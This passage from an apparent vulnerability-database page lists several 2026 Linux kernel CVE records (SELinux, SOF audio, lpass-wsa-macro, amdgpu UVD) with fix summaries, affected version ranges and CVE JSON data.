    Unaffected: 7.2 , ≤ * (original_commit_for_fix)
    		Create a notification for this product.
    Show details on NVD website
    To clipboard 

    {
  "containers": {
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "security/selinux/ss/services.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "e0285bb152211c00900136b66d4b420c14a59094",
              "status": "affected",
              "version": "55fcf09b3fe4325c9395ebbb0322a547a157ebc7",
              "versionType": "git"
            },
            {
              "lessThan": "099869e9343a5f8c22b58497f074b34f63cbf856",
              "status": "affected",
              "version": "55fcf09b3fe4325c9395ebbb0322a547a157ebc7",
              "versionType": "git"
            },
            {
              "lessThan": "841aea4d5a25e16273d04cd07a74142b4687e03b",
              "status": "affected",
              "version": "55fcf09b3fe4325c9395ebbb0322a547a157ebc7",
              "versionType": "git"
            },
            {
              "lessThan": "d8a10899ea3c84b80de72ca8ee9039e9a5156c9a",
              "status": "affected",
              "version": "55fcf09b3fe4325c9395ebbb0322a547a157ebc7",
              "versionType": "git"
            },
            {
              "lessThan": "22b05fec62c0fe9864cfceb52f7d0f3a34d9b1dd",
              "status": "affected",
              "version": "55fcf09b3fe4325c9395ebbb0322a547a157ebc7",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "security/selinux/ss/services.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.23"
            },
            {
              "lessThan": "2.6.23",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.153",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.105",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.18.*",
              "status": "unaffected",
              "version": "6.18.46",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "7.1.*",
              "status": "unaffected",
              "version": "7.1.10",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "7.2",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.153",
                  "versionStartIncluding": "2.6.23",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.105",
                  "versionStartIncluding": "2.6.23",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.18.46",
                  "versionStartIncluding": "2.6.23",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "7.1.10",
                  "versionStartIncluding": "2.6.23",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "7.2",
                  "versionStartIncluding": "2.6.23",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nselinux: reject an unclaimed class value in security_get_classes()\n\nsecurity_get_classes() sizes an array by p_classes.nprim and fills it at\nvalue - 1, so a class value the policy never defines leaves a NULL.\nsel_make_classes() passes every entry to sel_make_dir(), reaching the same\nd_alloc_name() dereference as the permission array. The class symbol table\nis allowed to be sparse (policydb_class_isvalid() exists to absorb that),\nbut this getter builds its own array straight from the hash table and has\nno such predicate.\n\nFail the lookup when a value went unclaimed instead of handing out the\nNULL. Conforming policies define every class they declare and are\nunaffected."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-04T17:19:23.066Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/e0285bb152211c00900136b66d4b420c14a59094"
        },
        {
          "url": "https://git.kernel.org/stable/c/099869e9343a5f8c22b58497f074b34f63cbf856"
        },
        {
          "url": "https://git.kernel.org/stable/c/841aea4d5a25e16273d04cd07a74142b4687e03b"
        },
        {
          "url": "https://git.kernel.org/stable/c/d8a10899ea3c84b80de72ca8ee9039e9a5156c9a"
        },
        {
          "url": "https://git.kernel.org/stable/c/22b05fec62c0fe9864cfceb52f7d0f3a34d9b1dd"
        }
      ],
      "title": "selinux: reject an unclaimed class value in security_get_classes()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2026-80912",
    "datePublished": "2026-09-04T17:19:23.066Z",
    "dateReserved": "2026-08-26T14:34:25.801Z",
    "dateUpdated": "2026-09-04T17:19:23.066Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

    CVE-2026-80911 (GCVE-0-2026-80911)

    Vulnerability from nvd – Published: 2026-09-04 17:19 – Updated: 2026-09-04 17:19
    VLAI
    Title
    ASoC: SOF: sof-audio: Fix error path in sof_widget_setup_unlocked()
    Summary
    In the Linux kernel, the following vulnerability has been resolved: ASoC: SOF: sof-audio: Fix error path in sof_widget_setup_unlocked() If either tplg_ops->dai_config or widget_kcontrol_setup fail during widget setup we would double decrement the use_count of the widget because the sof_widget_free_unlocked() would be called twice, similarly the core_put would be invoked twice as well. Since the use_count and core_put() is handled within the widget_free function we need to return without falling through the pipe_widget_free label. The fixes tag is picked to the last change around this part of the code which is adequately old enough for backporting purposes.
    Severity
    No CVSS data available.
    Assigner
    References
    Impacted products
    Vendor Product Version
    Linux Linux Affected: 3c124f09b7ff0434b076a8dec1ed446a6170b549 , < b270ed327380428581bbcbd85707f62e942428d7 (git)
    Affected: 31ed8da1c8e5e504710bb36863700e3389f8fc81 , < c06995637f6a4667f2b540ac65315bfc8196a099 (git)
    Affected: 31ed8da1c8e5e504710bb36863700e3389f8fc81 , < 8cba53b862e1437257ec206d303ff942684284f1 (git)
    Affected: 31ed8da1c8e5e504710bb36863700e3389f8fc81 , < d48691e70d4a9434b71039d4ed12bb0df4601acf (git)
    Affected: 31ed8da1c8e5e504710bb36863700e3389f8fc81 , < e780e4917d43683224812400fe3dc4816fceba75 (git)
    Affected: 6.6.13 , < 6.6.153 (semver)
    		Create a notification for this product.
    Linux Linux Affected: 6.7
    Unaffected: 0 , < 6.7 (semver)
    Unaffected: 6.6.153 , ≤ 6.6.* (semver)
    Unaffected: 6.12.105 , ≤ 6.12.* (semver)
    Unaffected: 6.18.46 , ≤ 6.18.* (semver)
    Unaffected: 7.1.10 , ≤ 7.1.* (semver)
    Unaffected: 7.2 , ≤ * (original_commit_for_fix)
    		Create a notification for this product.
    Show details on NVD website
    To clipboard 

    {
  "containers": {
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "sound/soc/sof/sof-audio.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "b270ed327380428581bbcbd85707f62e942428d7",
              "status": "affected",
              "version": "3c124f09b7ff0434b076a8dec1ed446a6170b549",
              "versionType": "git"
            },
            {
              "lessThan": "c06995637f6a4667f2b540ac65315bfc8196a099",
              "status": "affected",
              "version": "31ed8da1c8e5e504710bb36863700e3389f8fc81",
              "versionType": "git"
            },
            {
              "lessThan": "8cba53b862e1437257ec206d303ff942684284f1",
              "status": "affected",
              "version": "31ed8da1c8e5e504710bb36863700e3389f8fc81",
              "versionType": "git"
            },
            {
              "lessThan": "d48691e70d4a9434b71039d4ed12bb0df4601acf",
              "status": "affected",
              "version": "31ed8da1c8e5e504710bb36863700e3389f8fc81",
              "versionType": "git"
            },
            {
              "lessThan": "e780e4917d43683224812400fe3dc4816fceba75",
              "status": "affected",
              "version": "31ed8da1c8e5e504710bb36863700e3389f8fc81",
              "versionType": "git"
            },
            {
              "lessThan": "6.6.153",
              "status": "affected",
              "version": "6.6.13",
              "versionType": "semver"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "sound/soc/sof/sof-audio.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "6.7"
            },
            {
              "lessThan": "6.7",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.153",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.105",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.18.*",
              "status": "unaffected",
              "version": "6.18.46",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "7.1.*",
              "status": "unaffected",
              "version": "7.1.10",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "7.2",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.153",
                  "versionStartIncluding": "6.6.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.105",
                  "versionStartIncluding": "6.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.18.46",
                  "versionStartIncluding": "6.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "7.1.10",
                  "versionStartIncluding": "6.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "7.2",
                  "versionStartIncluding": "6.7",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nASoC: SOF: sof-audio: Fix error path in sof_widget_setup_unlocked()\n\nIf either tplg_ops-\u003edai_config or widget_kcontrol_setup fail during widget\nsetup we would double decrement the use_count of the widget because the\nsof_widget_free_unlocked() would be called twice, similarly the core_put\nwould be invoked twice as well.\n\nSince the use_count and core_put() is handled within the widget_free\nfunction we need to return without falling through the pipe_widget_free\nlabel.\n\nThe fixes tag is picked to the last change around this part of the code\nwhich is adequately old enough for backporting purposes."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-04T17:19:22.045Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/b270ed327380428581bbcbd85707f62e942428d7"
        },
        {
          "url": "https://git.kernel.org/stable/c/c06995637f6a4667f2b540ac65315bfc8196a099"
        },
        {
          "url": "https://git.kernel.org/stable/c/8cba53b862e1437257ec206d303ff942684284f1"
        },
        {
          "url": "https://git.kernel.org/stable/c/d48691e70d4a9434b71039d4ed12bb0df4601acf"
        },
        {
          "url": "https://git.kernel.org/stable/c/e780e4917d43683224812400fe3dc4816fceba75"
        }
      ],
      "title": "ASoC: SOF: sof-audio: Fix error path in sof_widget_setup_unlocked()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2026-80911",
    "datePublished": "2026-09-04T17:19:22.045Z",
    "dateReserved": "2026-08-26T14:34:25.801Z",
    "dateUpdated": "2026-09-04T17:19:22.045Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

    CVE-2026-80910 (GCVE-0-2026-80910)

    Vulnerability from nvd – Published: 2026-09-04 17:19 – Updated: 2026-09-04 17:19
    VLAI
    Title
    ASoC: codecs: lpass-wsa-macro: Fix enum kcontrol accesses
    Summary
    In the Linux kernel, the following vulnerability has been resolved: ASoC: codecs: lpass-wsa-macro: Fix enum kcontrol accesses EAR SPKR PA Gain" and the four "WSA RX* Mux" controls are enumerated, but their get and put callbacks access the value through ucontrol->value.integer.value[0] (a long) instead of ucontrol->value.enumerated.item[0] (an unsigned int). This same pattern was fixed in the sibling drivers by commit bcfe5f76cc40 ("ASoC: codecs: rx-macro: fix accessing array out of bounds for enum type") and commit 0ea5eff7c606 ("ASoC: codecs: va-macro: fix accessing array out of bounds for enum type"), but wsa-macro was missed. On 64-bit kernels with CONFIG_SND_CTL_DEBUG this trips the elem value sanity check and every read of these controls fails with -EINVAL.
    Severity
    No CVSS data available.
    Assigner
    References
    Impacted products
    Vendor Product Version
    Linux Linux Affected: 809bcbcecebff86003e13f07444d21b9d6652a64 , < bd4e5f9c3b764dc0e2a5662f92d63d2f3767a78d (git)
    Affected: 809bcbcecebff86003e13f07444d21b9d6652a64 , < 4bcac4bf304a3ec746192e49a669c236aaf27dbf (git)
    Affected: 809bcbcecebff86003e13f07444d21b9d6652a64 , < 891129df5de79cd533ae335c6eab24df2ff2b0fd (git)
    Affected: 809bcbcecebff86003e13f07444d21b9d6652a64 , < 524aa7b9954b0a43dd13f71ecbbac52a151c326d (git)
    Affected: 809bcbcecebff86003e13f07444d21b9d6652a64 , < 2fe7a89b2b5b73be35c1e493d0246314ba54e427 (git)
    Affected: 809bcbcecebff86003e13f07444d21b9d6652a64 , < 7bcdde412e6c744f6135e02b12a735e2e37b639f (git)
    Affected: 809bcbcecebff86003e13f07444d21b9d6652a64 , < 56f24311fd5607588a47e44675195a9efb200f29 (git)
    		Create a notification for this product.
    Linux Linux Affected: 5.11
    Unaffected: 0 , < 5.11 (semver)
    Unaffected: 5.15.217 , ≤ 5.15.* (semver)
    Unaffected: 6.1.184 , ≤ 6.1.* (semver)
    Unaffected: 6.6.153 , ≤ 6.6.* (semver)
    Unaffected: 6.12.105 , ≤ 6.12.* (semver)
    Unaffected: 6.18.46 , ≤ 6.18.* (semver)
    Unaffected: 7.1.10 , ≤ 7.1.* (semver)
    Unaffected: 7.2 , ≤ * (original_commit_for_fix)
    		Create a notification for this product.
    Show details on NVD website
    To clipboard 

    {
  "containers": {
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "sound/soc/codecs/lpass-wsa-macro.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "bd4e5f9c3b764dc0e2a5662f92d63d2f3767a78d",
              "status": "affected",
              "version": "809bcbcecebff86003e13f07444d21b9d6652a64",
              "versionType": "git"
            },
            {
              "lessThan": "4bcac4bf304a3ec746192e49a669c236aaf27dbf",
              "status": "affected",
              "version": "809bcbcecebff86003e13f07444d21b9d6652a64",
              "versionType": "git"
            },
            {
              "lessThan": "891129df5de79cd533ae335c6eab24df2ff2b0fd",
              "status": "affected",
              "version": "809bcbcecebff86003e13f07444d21b9d6652a64",
              "versionType": "git"
            },
            {
              "lessThan": "524aa7b9954b0a43dd13f71ecbbac52a151c326d",
              "status": "affected",
              "version": "809bcbcecebff86003e13f07444d21b9d6652a64",
              "versionType": "git"
            },
            {
              "lessThan": "2fe7a89b2b5b73be35c1e493d0246314ba54e427",
              "status": "affected",
              "version": "809bcbcecebff86003e13f07444d21b9d6652a64",
              "versionType": "git"
            },
            {
              "lessThan": "7bcdde412e6c744f6135e02b12a735e2e37b639f",
              "status": "affected",
              "version": "809bcbcecebff86003e13f07444d21b9d6652a64",
              "versionType": "git"
            },
            {
              "lessThan": "56f24311fd5607588a47e44675195a9efb200f29",
              "status": "affected",
              "version": "809bcbcecebff86003e13f07444d21b9d6652a64",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "sound/soc/codecs/lpass-wsa-macro.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.11"
            },
            {
              "lessThan": "5.11",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.217",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.184",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.153",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.105",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.18.*",
              "status": "unaffected",
              "version": "6.18.46",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "7.1.*",
              "status": "unaffected",
              "version": "7.1.10",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "7.2",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.217",
                  "versionStartIncluding": "5.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.184",
                  "versionStartIncluding": "5.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.153",
                  "versionStartIncluding": "5.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.105",
                  "versionStartIncluding": "5.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.18.46",
                  "versionStartIncluding": "5.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "7.1.10",
                  "versionStartIncluding": "5.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "7.2",
                  "versionStartIncluding": "5.11",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nASoC: codecs: lpass-wsa-macro: Fix enum kcontrol accesses\n\nEAR SPKR PA Gain\" and the four \"WSA RX* Mux\" controls are enumerated,\nbut their get and put callbacks access the value through\nucontrol-\u003evalue.integer.value[0] (a long) instead of\nucontrol-\u003evalue.enumerated.item[0] (an unsigned int).\n\nThis same pattern was fixed in the sibling drivers by\ncommit bcfe5f76cc40 (\"ASoC: codecs: rx-macro: fix accessing array\nout of bounds for enum type\") and\ncommit 0ea5eff7c606 (\"ASoC: codecs: va-macro: fix accessing array\nout of bounds for enum type\"), but wsa-macro was missed.\n\nOn 64-bit kernels with CONFIG_SND_CTL_DEBUG this trips the elem value\nsanity check and every read of these controls fails with -EINVAL."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-04T17:19:21.079Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/bd4e5f9c3b764dc0e2a5662f92d63d2f3767a78d"
        },
        {
          "url": "https://git.kernel.org/stable/c/4bcac4bf304a3ec746192e49a669c236aaf27dbf"
        },
        {
          "url": "https://git.kernel.org/stable/c/891129df5de79cd533ae335c6eab24df2ff2b0fd"
        },
        {
          "url": "https://git.kernel.org/stable/c/524aa7b9954b0a43dd13f71ecbbac52a151c326d"
        },
        {
          "url": "https://git.kernel.org/stable/c/2fe7a89b2b5b73be35c1e493d0246314ba54e427"
        },
        {
          "url": "https://git.kernel.org/stable/c/7bcdde412e6c744f6135e02b12a735e2e37b639f"
        },
        {
          "url": "https://git.kernel.org/stable/c/56f24311fd5607588a47e44675195a9efb200f29"
        }
      ],
      "title": "ASoC: codecs: lpass-wsa-macro: Fix enum kcontrol accesses",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2026-80910",
    "datePublished": "2026-09-04T17:19:21.079Z",
    "dateReserved": "2026-08-26T14:34:25.801Z",
    "dateUpdated": "2026-09-04T17:19:21.079Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

    CVE-2026-80909 (GCVE-0-2026-80909)

    Vulnerability from nvd – Published: 2026-09-04 17:19 – Updated: 2026-09-07 14:21
    VLAI
    Title
    drm/amdgpu: Reject UVD message with invalid number of h265 refs
    Summary
    In the Linux kernel, the following vulnerability has been resolved: drm/amdgpu: Reject UVD message with invalid number of h265 refs Same change as for h264, avoids overflow later when calculating min dpb size. (cherry picked from commit a4b0720e4f1601f97f59a2be9c1b4b94fa6527d5)
    Severity
    No CVSS data available.
    Assigner
    References
    Impacted products
    Vendor Product Version
    Linux Linux Affected: 86fa0bdc6fd7b2debc07ce86f1bcd5fb254822e3 , < 1facad2a78c1a8aeecc36eb4d560c7f1e10ce198 (git)
    Affected: 86fa0bdc6fd7b2debc07ce86f1bcd5fb254822e3 , < 499907e5d46e575e96967c0230a0a6af980a17ab (git)
    Affected: 86fa0bdc6fd7b2debc07ce86f1bcd5fb254822e3 , < cbf1c84bf5cac2b3742ea3d2085fa713424465cc (git)
    Affected: 86fa0bdc6fd7b2debc07ce86f1bcd5fb254822e3 , < a930c54cb67200de8bc0de87480d09ece7dcd85d (git)
    Affected: 86fa0bdc6fd7b2debc07ce86f1bcd5fb254822e3 , < 2abcdc5f738574e7fcdd9417575dffb877fdc26f (git)
    Affected: 86fa0bdc6fd7b2debc07ce86f1bcd5fb254822e3 , < e304c3e0d9ce251887be1f274aa0ed52219d5fd7 (git)
    Affected: 86fa0bdc6fd7b2debc07ce86f1bcd5fb254822e3 , < 0acdf1a575f59bd46717d5c487d84575af5bee8f (git)
    Affected: 86fa0bdc6fd7b2debc07ce86f1bcd5fb254822e3 , < 9fca434208f1f9ab977feac62df8ebb1cc7ce893 (git)
    		Create a notification for this product.
    Linux Linux Affected: 4.2
    Unaffected: 0 , < 4.2 (semver)
    Unaffected: 5.10.266 , ≤ 5.10.* (semver)
    Unaffected: 5.15.217 , ≤ 5.15.* (semver)
    Unaffected: 6.1.184 , ≤ 6.1.* (semver)
    Unaffected: 6.6.153 , ≤ 6.6.* (semver)
    Unaffected: 6.12.105 , ≤ 6.12.* (semver)
    Unaffected: 6.18.46 , ≤ 6.18.* (semver)
    Unaffected: 7.1.10 , ≤ 7.1.* (semver)
    Unaffected: 7.2 , ≤ * (original_commit_for_fix)
    		Create a notification for this product.
    Show details on NVD website
    To clipboard 

    {
  "containers": {
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/gpu/drm/amd/amdgpu/amdgpu_uvd.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "1facad2a78c1a8aeecc36eb4d560c7f1e10ce198",
              "status": "affected",
              "version": "86fa0bdc6fd7b2debc07ce86f1bcd5fb254822e3",
              "versionType": "git"
            },
            {
              "lessThan": "499907e5d46e575e96967c0230a0a6af980a17ab",
              "status": "affected",
              "version": "86fa0bdc6fd7b2debc07ce86f1bcd5fb254822e3",
              "versionType": "git"
            },
            {
              "lessThan": "cbf1c84bf5cac2b3742ea3d2085fa713424465cc",
              "status": "affected",
              "version": "86fa0bdc6fd7b2debc07ce86f1bcd5fb254822e3",
              "versionType": "git"
            },
            {
              "lessThan": "a930c54cb67200de8bc0de87480d09ece7dcd85d",
              "status": "affected",
              "version": "86fa0bdc6fd7b2debc07ce86f1bcd5fb254822e3",
              "versionType": "git"
            },
            {
              "lessThan": "2abcdc5f738574e7fcdd9417575dffb877fdc26f",
              "status": "affected",
              "version": "86fa0bdc6fd7b2debc07ce86f1bcd5fb254822e3",
              "versionType": "git"
            },
            {
              "lessThan": "e304c3e0d9ce251887be1f274aa0ed52219d5fd7",
              "status": "affected",
              "version": "86fa0bdc6fd7b2debc07ce86f1bcd5fb254822e3",
              "versionType": "git"
            },
            {
              "lessThan": "0acdf1a575f59bd46717d5c487d84575af5bee8f",
              "status": "affected",
              "version": "86fa0bdc6fd7b2debc07ce86f1bcd5fb254822e3",
              "versionType": "git"
            },
            {
              "lessThan": "9fca434208f1f9ab977feac62df8ebb1cc7ce893",
              "status": "affected",
              "version": "86fa0bdc6fd7b2debc07ce86f1bcd5fb254822e3",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/gpu/drm/amd/amdgpu/amdgpu_uvd.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.2"
            },
            {
              "lessThan": "4.2",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.266",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.217",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.184",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.153",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.105",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.18.*",
              "status": "unaffected",
              "version": "6.18.46",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "7.1.*",
              "status": "unaffected",
              "version": "7.1.10",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "7.2",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.266",
                  "versionStartIncluding": "4.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.217",
                  "versionStartIncluding": "4.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.184",
                  "versionStartIncluding": "4.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.153",
                  "versionStartIncluding": "4.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.105",
                  "versionStartIncluding": "4.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.18.46",
                  "versionStartIncluding": "4.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "7.1.10",
                  "versionStartIncluding": "4.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "7.2",
                  "versionStartIncluding": "4.2",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amdgpu: Reject UVD message with invalid number of h265 refs\n\nSame change as for h264, avoids overflow later when calculating\nmin dpb size.\n\n(cherry picked from commit a4b0720e4f1601f97f59a2be9c1b4b94fa6527d5)"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-07T14:21:32.011Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
